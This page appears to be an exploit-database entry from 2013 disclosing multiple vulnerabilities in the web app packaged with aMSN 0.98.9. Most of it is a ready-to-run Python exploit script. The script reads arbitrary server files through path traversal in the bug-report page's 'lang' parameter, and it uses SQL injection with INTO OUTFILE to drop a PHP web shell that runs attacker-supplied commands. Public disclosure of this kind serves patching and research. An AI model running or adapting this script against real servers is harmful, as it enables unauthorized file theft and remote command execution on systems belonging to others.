aMSN 0.98.9 Web App Multiple Vulnerabilities

2013.10.14
Credit: drone
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: aMSN LFI/SQLi # Date: 10/09/2013 # Exploit author: drone (@dronesec) # Vendor homepage: http://www.amsn-project.net # Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe # Version: 0.98.9 # Fixed in: SVN repositories (r12422) # Tested on: Ubuntu 12.04 (apparmor disabled) from argparse import ArgumentParser import urllib2 import string import random """ Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9 """ def lfi(options): """ exploit the LFI """ addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\ options.ip, options.root, options.lfi) data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0] print data def run(options): """ exploit lfi or sqli """ if options.lfi: return lfi(options) shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5)) sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root) # ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- - exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\ 'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell) urllib2.urlopen(sqli + exploit) print '[!] Shell dropped. http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell) def parse_args(): parser = ArgumentParser() parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True) parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi', metavar='[file]') parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root', default='/amsn') parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path', default='/var/www/amsn') options = parser.parse_args() options.path = options.path if options.path[-1] != '/' else options.path[:-1] options.root = options.root if options.root[-1] != '/' else options.root[:-1] return options if __name__ == "__main__": run(parse_args())

References:

http://sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top